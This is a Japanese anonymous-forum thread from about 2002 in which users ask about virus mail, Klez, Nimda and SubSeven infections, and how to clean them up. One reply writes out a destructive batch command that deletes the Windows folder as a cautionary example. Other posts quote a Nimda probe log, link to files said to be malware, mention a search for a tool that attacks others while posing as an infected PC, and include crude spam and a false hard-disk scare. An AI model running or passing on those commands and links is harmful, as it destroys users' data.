＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

スキャンして、本人に送ったか確認して開け。
−−−−−
実行ファイルを送るアフォはいないと思うが。

今日はsos！つータイトルのメールが来た。
本文なし､添付はjpeg偽装、本文見ようとすると
どっかからなにかをダウンロードするかどうか聞いてくるので
キャンセル､即削除した｡これも既出？

　

　　

昨日、初めてウイルスメールが届きました。
W32.Klez.E@mmでした。
今日も同じものが届きました。

>>259-261 http://www.microsoft.com/japan/technet/security/bulletin/MS01-020.asp?frame=true

すんません、質問っす。
昨日、PCを起動したら
HDDに保存しておいたmp3ファイルが全て消えて無くなってました。
明らかに自分で削除した覚えはありません。てゆーか前日までファイルはありました。
そういった類の症状を引き起こすウィルスとかってあります？
知人は「誰かがリモートで入って削除したんじゃねーの？」などと
言ってますが、そーゆう事は有りえます？

>>264
ネットにつながっててadministratorのパスがnullで
netbios生きてたらさくっと消されるかもYO!

バステロリストの綴り教えてください。
あと2chで、その関係のスレってありますか？
板は、ここで合ってますよね？

irc.tokyo.wide.ad.jpにつなげると
port 113,80,3128,8080,10080へアクセスがあるのは何故ですか？

今日、初めてノートンAntiVirusがウィルスを検出しました。
突然、「ウィルスがみつかりました！」みたいな画面になったのでビビリました。
見つかったウィルスは、W32.Nimda.E@mmです。
感染したのは、ファイル保存用のDドライブに置いてあった、あるソフトの中の
Riched20.dllというlファイルでした。修復できなかったので検疫に入れています。
HDDをスキャンしましたが他にはウィルスは検出されませんでした。
半年位前から置きっぱなしのファイルで、これまで何度もスキャンしましたが
ウィルスが見つかった事はありませんでした。
IEはパッチをあてているし、へんなメールも開いていません。
唯一こころあたりがあるというか、よくわからないのですが・・・
先日2台のPCでLANを組みました。昨日、ウィルスにかかったほうのPCの
Dドライブをフルアクセスで共有させました。共有させただけで、何もしてません。
もう1台のほうのPCはインターネットにはつながってません。
初めてのウィルスで少々戸惑ってます。この場合、感染ファイルのRiched20.dllと
それの入ってたソフトを削除すればいいのでしょうか？ご教授おねがいします。

>>265
おぉ、レスありがとうございます。
確かにadminのpassはnullで常時接続でした。

怖いので今日帰ったらソッコーでpasswordを変更するつもりです。
根本的な解決にはならんと思いますが･･･。

メールを見ようとしたら、なんかパスワードの再提示せよって出てきて
「盗難方法を〜〜〜」みたいなメッセージが出たんですけど
これってヤバいですか？
クラックされかけてる？？？

>>270
特にヤバイということは無い。
クラックなどされていませんので安心してください。

266ですが、どなたか『バステロリスト』に関する情報を
お持ちの方いらっしゃいますか？宜しくお願いします。

IPAのHPから内閣官房情報セキュリティー対策推進室のHPのぞけるよん

以前に来たメールのsubjectでウイルスを添付して返信するのは
なんていうウィルスなんでしょうか？

今、送信者名も件名も無く、添付ファイルのついたメールが来たのですが、
開けないで削除した方がいいですか？
オークションをやっていて、連絡がまだ来ていない人がいるんですけど、
たとえその人からだったとしても、削除してもいいですよね？

mypartyのGとかHってやばそうなの？

>>275 アンチウィルスソフト買えよ。

>>277
あるんですけど、イマイチ使い方がわからないです。
前はウイルスメールを開いたら、警告してくれたのですが、
最近はそれで大丈夫なのか説明書見てもよくわからないので、
とりあえず開かないで削除するようにしていたのですが、
いつまでもそんなんでいいのかと・・・。

>>278 使い方が分からないならソフト名を明らかにして初心者質問スレか
該当ソフトのスレできくべし。
＞削除してもいいですよね？
それだけの情報で他人には分かるはずもなかろう。

>>279
ありがとうございます。
質問できるようになるまでもう少し勉強してきた方がよさそうです。
また、出直してきます。

メーラも、OSも、環境も、設定も伏せてるし。
処置なし。

これって既出？
ttp://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20020411/1/
ttp://www.microsoft.com/japan/technet/security/bulletin/ms02-018.asp

得ろサイトをサーフィンしてたら、いつのまにか
デスクトップのアイコンがすべて消えてしまいました。
スタートうｐからできますが、どうすればもとにもどる
のでしょうか？ていうかこれはウイルス？

>>283
とりあえずウィルススキャンしろ。持ってなければオンラインスキャン。
http://www.trendmicro.co.jp/hcall/index.asp

>>284
どうしてこうなったのか解らないのですが、
デスクトップのアイコンの表示にて元に戻りました。
お騒がせしました。

>>285 元に戻ったからって安心するな。ウィルススキャンしておけ。

＞＞285
スキャンしてみたらウイルス発見！！
ファイルを削除しました。これでＯＫ？

>>287 検出ウィルス名を教えて。ものによってはレジストリとかいろいろ
変えられてるかもしれないから。

>>288
それが、すぐに消してしまったのでわかりましぇん。
いまのところ、自覚症状なしです。また何かあったら
書き込みます。

>>289 アンチウィルスソフトの活動ログに書いてあるはずだから、確認し
たらここで報告してね。

オンラインスキャンのため不可です。

>>291

ナマでパコパコ！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートンでも買え!!!!!!!!!

www.araddin-i.net/aaw

ここの↑いつも携帯に流れてきて卯材！

攻撃を田のモー。

>>292
了解（−＿−）

３１Kの添付ファイルがメールで来ました・・。
なにもまだ起きないんですがウィルスですかね〜？？教えて下さい。

>>295
添付ファイル付きのメールがきたという以外の情報が無い状態で何をしろと？

投票しる！

今、メールチェックしたら添付ファイル60 .scr(79.2KB）と
kg_tam_framerate(1.17KB)あったんですよ。
ビビリながら開けたらウィルスらしく、検疫しました。
これって削除したらもうOKですか？
w32.klezなんとかってウィルスでした。

ちなみに件名は　Undeliverable mail--"26.9 Plugin 60"
内容は
The following mail can't be sent to [email protected]:

From: ************@****.*****.ad.jp
To: [email protected]
Subject: 26.9 Plugin 60
The attachment is the original mail

kg_tam_framerate(1.17KB)の内容は
02/02/22 17:07 27.6578 Plugin 60
02/02/22 17:07 25.0000 Plugin 60
02/02/22 17:07 25.7143 Plugin 60
02/02/22 17:08 24.0000 Plugin 60
02/02/22 17:08 26.6877 Plugin 60
02/02/22 17:08 28.0541 Plugin 60
02/02/22 17:09 26.6799 Plugin 60
02/02/22 17:10 24.8048 Plugin 60
02/02/23 12:37 27.0 Plugin 60
02/02/23 12:37 24.4 Plugin 60
02/02/23 12:37 23.0 Plugin 60
02/02/23 12:37 25.6 Plugin 60
02/02/23 12:37 27.2 Plugin 60
02/02/23 12:39 27.1 Plugin 60
02/02/23 12:39 23.7 Plugin 60
02/02/23 12:39 27.2 Plugin 60
02/02/23 12:41 26.9 Plugin 60
02/02/23 12:41 28.3 Plugin 60
02/03/02 13:48 26.6 Plugin 60
02/03/02 13:49 22.7 Plugin 60
02/03/02 13:49 24.4 Plugin 60
02/03/02 13:49 27.4 Plugin 60
02/03/02 13:50 25.6 Plugin 60
02/03/02 13:51 27.8 Plugin 60
02/03/02 13:51 27.0 Plugin 60
02/03/02 13:52 27.5 Plugin 60
02/03/02 13:52 24.2 Plugin 60
02/03/02 13:52 25.7 Plugin 60
02/03/02 13:54 26.7 Plugin 60
02/03/02 13:55 24.8 Plugin 60
02/03/02 13:56 27.0 Plugin 60
02/03/02 13:56 26.4 Plugin 60
02/03/02 13:57 26.4 Plugin 60
02/03/02 13:57 25.2 Plugin 60
02/03/02 13:58 27.6 Plugin 60
02/03/

みたいな感じです。

http://headlines.yahoo.co.jp/hl?a=20020412-00000013-vgb-sci

後関係ないけど今現在LIveUpdateのサーバにつなげないなぜか。

>>299
最近よくある
ちなみに、シマンテックのHPも開けない・・・鬱

２ｃｈをやっていて、ウィルスに感染することはありますか？

>>301
エロ系リンク踏んでエクセプション踏むことは、たま〜にある。

>>299-300
今LiveUpdateもシマンテックのHPも大丈夫だったよ。直ったのかな。

スパイソフトって何ですか？

WEBメール使ってたらウイルスには感染しないって
聞いたんですけどホント？

ウイルスの入った添付ファイル開いてしまったら
ＷＥＢメールもメールソフトも一緒だと思われ・・

>>304
ちょっと酸味の利いたソフトのことれす。

WEBメールはアンチウイルスソフトを使っても
意味ないんですか？

>>304スパイソフト
http://www.zdnet.co.jp/help/howto/security/p02/index.html

>>308
あるよ。

WINDOWSフォルダ内に変なフォルダとファイルができていました。
ウイルスかなんかでしょうか？
フォルダ名、$NtUninstallQ315000$
みたいなフォルダが10個できてました。
その10個のフォルダ全部に、spuninst.exeという実行ファイルがあります。
あと、netsetup.exe Win32キャビネット自己展開ツールというファイルが
一つあります。
しかも、フォルダ名やファイル名が全部青色です。
ウイルスか、ダイヤルアップを書き換えるようなプログラムかなんかでしょうか？
誰か教えてください。

>>311
想像だけど、WindowsXP使ってて、かつ、Windows Update 利用してるでしょ？

>>311
Windows Update のアップデートをアンインストールするためのフォルダ。
ウィルスでも何でもない。変にいじると危険なだけなので放っとく。

ウイルスバスタースレにいるコピペ馬鹿を
なんとかしたいのだが…。
もう、いいかげんにしてほしい。

>>314
確かに凄いことになってるなぁ。
けど、2ちゃんの特性上、我々にはどうしようもない。
地道に削除依頼出したらどうですかとしか返答しようがない。

>>314
同感！罵倒レスしたいところだが逆効果だろうし・・・・

なぜか、今日いっぱい知らないアドレスからメールが来ました。
3年間一度もなかったのに。なんか変なトコ見たかな？

そして2台のＰＣに違うメルアドを入れてあるのですが
1台の方は1週間くらいネットには繋げてません。
なぜかその1台のメアドからもメールが来てました。
これはなんなんでしょう？？
添付ファイル付いてたけどスキャンしても何もでません。
ウィルスじゃないのか、プロバイダーのメールサーバーで消されてるのか･･
同じファイルを何人かのメアドから送られました。
もう一個の方にも来てるみたいです。
何の理由が考えられるか　わかる人いましたら教えて下さい。
なぜか、送ってくる相手のアドレスがＤｏｃｏｍｏのもあります。

>>317
他の事は放っておいて、添付ファイルとやらは絶対開けないほうがいいことだけは分かる。

＜＜＜はじめに一応書いておきますがこれはウィルスですので
落として実行しないでください。＞＞＞
これは某所で貼り付けてあったゲームリストなんですが
これのウィルスの名前って何ですか？私は実行したため
ウィンドウズが起動しなくなってしまったもので・・・
すごく気になるので教えてください。
これです↓
ttp://de.geocities.com/dssjd4hd/medes.jpg

>>318
携帯に転送されたの見て、アウトルックで開かずに
ゴミ箱ぽいしましたが
気になったので　戻してスキャンかけました。
サーバーが駆除してくれたのかなー？
でももう一個のアドから来たのはなんなのか謎・・

http://tmp.2ch.net/test/read.cgi/download/1016328703/
のスレッドの373をDLして、起動したらNETにつながらなくなってしまいました。
対処方法分かる方教えてください。

私はnet初心者なんですがいつからかwscriptってのがバンバン立ち上がって
きてメモリ不足に陥ります。ウイルスのせいなのかよく分からないのですが
誰か助けて下さい。お願いします。

インターネットオプションの接続のタブを開くと
毎回固まって、どうなってるのか見れないです・・

む？

>>314-316
そういうのはスレ２個使うといいよ

バスターVSノートンスレが　まだ残っていたと思うから
それ使えば？

>>319
こういうのはココで聞け。
【勇気が無くてみれない画像スレッド】
http://ex.2ch.net/test/read.cgi/entrance/1018680687/l50

>>322
wscriptってコレ？
http://www.symantec.com/region/jp/sarcj/data/w/wscript.kakworm.html

違ってたら教えて

>>321
書いてあるリンク先死んでる。
ので、何が原因なのか分かりようがない。

>>321
どうでもいいが、説明もなしにいきなりリンクがぽんと放り込んであって、
かつその後のレスでなんにも触れられていないのをどうしてDLする？
DLするまではアリかも知らんが何故実行する？

>>321
落としたぞ。SubSevenだな。
readmeは中途半端だわ、setup.iniはSinger Song Writerのだわ、
そりゃマシンの調子も悪くなるわ。
なんで、readmeも読まずに実行する。読めば怪しいの一発でわかるぞ。

すいません　９８を使ってるのですが
起動して　デスクトップの画面になると
c:￥WINDOWS￥syslog.vbs
メモリ不足のため　このアプリケーションを実行できません
と　表示され　何も出来ない状態になります。

これって　何かに汚染されたのでしょうか？
それとも故障ですかね。
わかる方　御教示お願いします。

command prompt onlyで起動して

ren \windows\syslog.vbs syslog.old

再起動してまともに動くならそいつ消す。

他スレに誤爆しました。再掲します。

ウィンドウズ98を使用しています。ＩＥのバージョンは5.00。
メーラーはＯＥ。
あやしいメールをゴミ箱に捨てようとしてうっかり開いてしまい、
ウイルスバスターのオンラインスキャンにかけたら、
WORM_KLEZ.E　というファイルが３つ、C:\WINDOWS\Temporary Internet Filesの
中に出来ているのがわかりました。
トレンドマイクロ社の以下のページは見ました。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.E

これを見るとWORM_KLEZ.E　の３ファイルを、手動で削除すれば
大丈夫と解釈しましたが、それでいいでしょうか？
他になにかしなければならない処理はありますか？

>>333
アドレス帳に記入されている人全員に、「ウイルス送っちゃったかも、きゃは！」、って注意メールを送る。

>>333
日本語読めてます？ Registryもいじれときちんと書いてます。
よくわからないんだったらツールがちゃんとそこのページにおいてあるから、
それ使えばいいじゃないか。

>>335
口調は悪いけど、親切なイイ人ですね（と思った

>>334-336
すいません。ご親切にどうもありがとうございました。

メールでpowerfull toolていうのが送られてきたんですが
ウィルスでしょうか？

>>338
十中八九ウイルスかトロイです。

やっぱそうでしたか添えつきファイルで文も英語でしたから。
削除して良かったぁ。厨房ですいません

>>329
VShieldでチェックしても何も出なかったから、
軽い気持ちで・・。
全く持ってお恥ずかしいです。
>>330
Sub７って昔っからあるトロイですよね？
何で引っかからなかったかな・・。
>readmeは中途半端だわ、setup.iniはSinger Song Writerのだわ
ですよね・・。昨日からずっと自己嫌悪です。

それで、対処方法なんですが・・
いくら調べても、Sub7はウィルスチェックソフトで、削除。
としか記されていないんですが、検出されない場合はどうすれば・・？
WIN.INIやSYSTEM.INIを書き直さなければいけないんでしょうか？
どうか助けてください。

>>341
本体削除と、レジストリ修復と、SYSTEM.INIとWIN.INIの修復がそれぞれ必要なんじゃ？

>>341
ttp://www.ace.comp.nec.co.jp/AntiVirus/virus/TROJ_SUB722.htm

ほい。
でも、挙動がSubsevenと違うような気がするんだよなぁ。
AVGで検出したんだけど誤検出だったらごめん。

>>341
ウィルスじゃないからと言って実行したのなら更に言語道断。
ウィルスチェッカーは、当たり前だがウィルスしかチェックしない。この
世にはウィルス以外に PC を破壊するトリガーが存在しないと思ってか？

例えば、

　echo off
　deltree c:\windows /y

とだけ書いたファイルを a.bat という名前で作っても、これはウィルスで
はないので Vshield では引っかからない。だからといって実行するか？

今手元のパソコンが出払っているんだけど。
電話番号サーチをウイルススキャンしたら、
Norton：Backdoor.SubSeven
Antidote簡易版：Backdoor.SubSeven.22.a

W32.Klez.E@mm
が検出されましたが、ノートンで未検出？とかになってます
検出のとこに入れようとしたけど破損してるかなんかでよくわかりませんでした。
その後に、「このPCは正常に動作します」ってのが出たんだけど
もう大丈夫ってことなんでしょうか？

このウィルスについて調べてみたらノートンとかのチェッカーソフトを無効にする
とか出てたので・・
UPDATAは昨日済ませたばかりです。
6日に発動らしいので6日までに全部ファイル出しちゃった方がいいのかな・・
初めてのウィルスで不安になってます。

あと、転送先でウィルスっぽいと思ったのでポスペで開いたんですが
これで添付ファイルを消したらもう安心ですか？
ポスペってHTML形式じゃないから・・

>>346
ほれ。
感染マシンのOSが「Windows9x/ME」の場合はこちら
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3288
感染マシンのOSが「WindowsNT/2000」の場合はこちら
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3291

んじゃ、利家とまつを見てくる。

Klez系の質問はこちらでやってください


Klez系,Klez.Eスレッド
http://pc.2ch.net/test/read.cgi/sec/1018248786/l50

>>342
できました！
今直った方から書き込んでいます！
ご鞭撻ありがとうございます。
>>343
親切にありがとうございます！
リンク先読ませて頂きました。
こういう方法でも直るんですね。
勉強になりました。感謝です♪
>>344
仰せの通りだと思います。
危機管理ができてなかった自分が情けないです。
1日Netができなくなっただけですんで、本当に良い薬になりました。
344さんの言葉を忘れないように以後肝に銘じます。
>>345
SubSevenでしたか。
わざわざ調べて頂き、本当にありがとうございました。
信頼できるウィルス感知ソフトを探すことにします。
一つのチェッカーに頼るのは危険だと言う事も学ばせて頂きました。

ご助力下さった皆様、本当に感謝してます。
Netに繋げるという喜びを今しっかり噛み締めています。

>>349
良かったね。
んでも漏れ、343の人と同じく、Sub7の通常の？挙動と違うような気がした。
治ったならいいんだけど。

とりあえず再起動直後にネットに接続しない状態で、DOS窓（スタート→プログラム→アクセサリ→コマンドプロンプト）に、「netstat （半角スペース）-an」って入力して、Local Addressの行のポートを全て書いてくれ。
9X系ならDos窓は、スタート→プログラム→MS-DOSプロンプトだな。

ポートってさ、「0.0.0.0:1025」とかの1025の部分。

>>349
お〜〜〜い、寝ちゃった？

メールでexeファイルのついているものがあったのですが、これってウイルスでしょうか？
検索かけたんですが、出てこないし、ウイルス情報サイトにも情報がなかったため…。
メールのタイトルが
including full path
で添付ファイルがついていたんです。
ファイル名がSTARS.exeです。
本文が英文なので何かの勧誘かと思ったんですが…。
内容に"Wild Cards"とあったんですが何かのウイルスでしょうか？詳細キボンヌ
よろしくおながいします。

>>353
STARS.exeでgoogle検索してみるとわかるけどウィルスらしい。

>>354
回答どうもありがとうございます。
添付ファイル名では検索してませんでした…厨ですみません。
安心して眠れます。おやすみなさい。

coderedに感染していると思われるサーバから
(/scrips/root.exe以下略)というアクセスがかなりあったので
そこに連絡したら成りすましですね。と言われた。
本当なのか調べたいんですがどうしたらいいのでしょうか？

　

>>356
隣の晩御飯

ごめんnimdaでした。

なりすましですよ。
/scripts/root.exe?/c+dir HTTP/1.0" 200 287
こんなアクセスがとあるサーバから来てたんですよ。
で、そこの管理者をwhoisで調べて連絡したら
ウチからはでてねーぞって言われたんです。
ウチのIPに成りすましてるしらん奴からのアクセスじゃねーの？って
nimdaってなりすましとかできんのかなーって思ったんです。

Information Japan
A powful tool
Returned mail--"bgcolor"
A very new game
ParseFloat(navigator.appVersion)
っていうメールがここ３日できました。
ウイスルですね．．．。

whistle?

>>359
漏れ以前、NimdaだかCodeRed�UのIPアドレス調べて相手に連絡した。
そしたら「これってUNIXなんですが。因縁ですか！」、って回答。
結局そのUNIXがNATか何かしていて、その下のパソが感染してた。

そゆパターンじゃないのかな。
じゃなければ、相手が大嘘ついているのかも。

漏れも、Nimda感染PCを装って相手を攻撃するようなツール探しているけど、まだ見つからないんで。

>>359
そのIPのHTTPにアクセスしてみる。何らかのページが出たら
そのソースを見て、一番最後に
<html><script language="JavaScript">window.open("readme.eml", null (略
が無いか確認。

>>363
ところが。
漏れが書いたケースだと、繋がらなかったりするのよ。

>>359
自分のアドレスを隠して張ってくれ!!!!!

ログはちょっちまずそうなのでやめときます。

実は362さんが言うとおりだと思うんですよね。
NATとかやってると思うんですよ。
その下のPCからアクセスだったらわからないですしね。
ちなみにNimdaからのアクセスがあったときに即nmap打ってみたんですが
なんもあいてませんでした。PINGすら返事ありませんでした。

port 80,139とかあいてれば大体Nimda感染してるのわかるんですが
証拠を手に入れたわけじゃないんで
相手からなりすましじゃねーの？言われて言い返せませんでした。
Nimdaっぽいログでなりすまし情報の事例って聞かないんだけどなぁ。

>>366
Nimda系なりすまし系ツール、捜し求めているんだけど、漏れは見つけられない。
もしルーティングテーブル書き換えてわざわざやってるヤシがいるんなら話は別だが。
大抵はNATとかそゆうのかと思う。
もしくは嘘。信用問題だからね、今時感染って。

質問です。
HDDの空き容量が減っていく、というウィルスってないでしょうか？
HDDのアクセスランプ変な時に点滅し
空き容量が減りました。(2G→700M)

ちなみに総容量はかわっていません。

>>368
あるよ、サーカムとか。
というかファイル名書かないと誰も答えられないよ。

>>369
ありがとうございます。
情報を集めてきます。

>>chesire-cat氏
いろいろありがとう。自分も探してるんですが見つかりません。
その前にNimdaっぽいアクセスをわざわざなりすましてまで
打ちたいともおもわないし。そんなツールは、やはりないのかも。
もうちょっと私も探してますが見つかったら教えてくださいね。

>>371
簡単に作れそうな気もするけど、どこにもそんなのは公開されて無いんだよね。

漏れ、去年からずっと探しているんだけ。
スクリプトキッズとかじゃないんだけど、興味があって。
ハングルとか中国語で見落としているのかもしれないけど。

下記のようなメールが２通送られてきたんですが、これって何でしょうか？
ちなみにウィルス検出ソフトはインストールしていません。

（１）
From: azzu10 <[email protected]>
To: [email protected]
Subject: A special funny website

Content-Type: text/html;

Hi,This is a very funny website
I wish you would like it.

（２）
Date: Mon, 15 Apr 2002 23:59:30 +0900 (JST)
From: Super-User <[email protected]>
To: [email protected]
Subject: Virus Alert

*********************************
WARNING!
InterScan has detected a virus.
*********************************

Date :04/15/2002 23:59:28
FileName :ATT00012.pif
From :[email protected]
To :[email protected]
VirusName:WORM_KLEZ.E
Action :deleted

*********************************

>>373
ウィルス対策ソフトを買ってください。
それは我々の負担を軽減することができます。

と言う意味

３７３はナマでパコパコ！！！！

インターネット＝ソープランドのマンコ
パソコン＝３７３のチンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

>>350-352 cheshire-catさん
亀レス申し訳ないです。
再起動直後にnetstat -an を実行してみた所、
137 と 138のポート番号が出てきました。

まだ、怪しい状態なんでしょうか・・

>>376
LAN組んでないなら、今すぐNetbios over Tcp/ipを無効にしてください。

>>377
組んでるので、何も触わらなくていいんでしょうか？

↑の378は321です。

137、138から外に出てかないようにしてください。
ローカル以外は駄目と設定しちゃう。

ウィルスとは関係ないだろうけどね。

>>380
はい。分かりました。
今から、模索してやってみます。
非常に勉強になります。ありがとうございました！

Message-Id: <[email protected]>
From: xxxxxx <[email protected]>
となってたら上のメアドから来たのが下のメアドを偽装したと
思えばいいんでしょうか？

件名が『Eager to see you』というメールが届きました。
ウィルスだとは思いますが、どんなウィルスかわかりますか？

>>383
グーグルで検索すれば直に分かると思う。というか分かった。

http://www.sophos.co.jp/virusinfo/analyses/w32kleze.html

下のURLを踏んだら、ウイルスに感染したという画面がでました。しかし、拡張子が
gifなので、いたずらのアニメのような気がします。今のところPCの調子は悪く
なってないようですが、心配です。ﾔｳﾞｧｲでしょうか？
http://ime.nu/ime.nu/ime.nu/www.42ch.net/PictureGeneral/img-box/img20020324142939.gif

ウィルスバスターは焼いてもらっても使えないって本当ですか？
聞いたところによるとシリアルナンバーとライセンスキーが必要だとか。
両方誰かからもらったとしても無理ですか？

>>385
幸い、ただのgif

>>386
そんな質問をするくらいなら買ってきなさい

>>386
ノートンなら焼いてもらっても大丈夫。
トレンド社はせこいので使わないほうがいいよ。

>>385　>>387
何日かして急にハードディスクをクラッシュさせるタイプのものです。
踏んでしまったらアウトですね。
今のうちに急いでバックアップをとってOS再インストールされることをお勧めします。
南無

>ウィルスバスターは焼いてもらっても使えないって本当ですか？
>聞いたところによるとシリアルナンバーとライセンスキーが必要だとか。
>両方誰かからもらったとしても無理ですか？

ノートンにしろ。

ライセンスキー、上手にやれば問題ないらしいけどな。
じゃなければヤフオクで登録可能状態で売りに出したりもしないよな。

あっ、385は踏むなよ。
俺はしらねぇぞ。
俺は踏むなって言ったからな。

>>385
>>389
>>392
うそーーん！！踏んじゃったよ！！どうしよう…
ノートンの最新定義では反応しなかったのに（泣
CD-Rドライブが故障してるからOS再インストだけは避けたいんだけど…
何かいい回避方法はありませんか？
誰か教えてください！！

だれかライセ○スキー、教えて!

>>394 板違い、かつ違法。２度とここへ来るな。

http://www.ne.jp/asahi/data/japan/

「詳しい譲歩具亜分かっていない」そうです(w
ttps://www.netsecurity.ne.jp/article/2/4793.html

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

>>394
おしえても意味ないんだってば

教えてください、お願いします。

ウィルス名：PE_PADNIA
って言うのが４つウィルスバスターで見つかりました。
Cドライブにあることも解ってるのですが、駆除の仕方が
全く解りません…
ウィルスバスターは２００１を入れていますが「隔離に失敗しました」
と出てしまいます。どうすればいいですか？

http://www2.strangeworld.org/uedakana/sahra6147.jpg
↑このウイルスやばいんでしょうか？

>>401
ウィルスと言うよりブラクラの類かな？
開いたら勝手にメール送信画面が大量に出てきた・・・鬱

別にほっといてもいいんですか？

>>400
2002にしる。

大丈夫なんですか？

MXでDLしたファイルに拡張子がscrとbatのものが入ってて、
batの中身をエディターで見たらklez.Eに感染してしまったんですけどこれってどういう仕組みなのか教えていただけませんか？
ファイルは削除してしまったのでもう無いんですが、誰か教えてください。

>>406
こっちで聞いてみた方がいいかも。
http://pc.2ch.net/test/read.cgi/sec/1018248786/

>>406
いや

教えてくださいよ

>>404
そんなｲﾁﾞﾜﾙ言わないで教えてちょ

どうしたらいいのぉ？

>>410
・なんだかよく分からない(リンク切れ)の画像を画面一杯に
・mailto:沢山(メーラーが山ほど開く)
・Yahoo!とかFBIとかホワイトハウス宛てに telnetとかhttpとかしようとする
・con/con/con (懐かしの concon バグ)

仕掛けは以上。ウィルスとかは無い。

鬱になって氏ねば直るじょ

質問！今日の新聞に
アンチウイルスソフト入れなくても
ＰＣのウイルスを弾くってのがあったらしいけど
それってどんなの？？？

http://www.geocities.co.jp/HeartLand-Ayame/1836/home.html

ここのサイトでトロイが検出されるたしいのですが
自分のPCに感染しているかどうかわかりません・・・
見た後しばらくして、掲示板を見た人がトロイに感染したことを知って
あわててノートン入ました。

今のところウイルススキャンには何も引っかかっていなくて、KPFにも
ひっかかっていません（一応トロイで使われそうなポートは閉じています）
誰か教えて〜（安全かどうか・・・

>>414
サイトそのものにはウィルスの兆候無し。
掲示板が 2ch に荒らされてる事考えると、多分、
・誰かが投稿でスクリプトでも貼った
・閉鎖されているページにあった
のどちらかじゃないかと思うが、何しろ発見できなかったんで分からん。

くちゃい

【最小化】【元のサイズに戻す】【閉じる】などの▲(←横だけど)が文字化けしています。
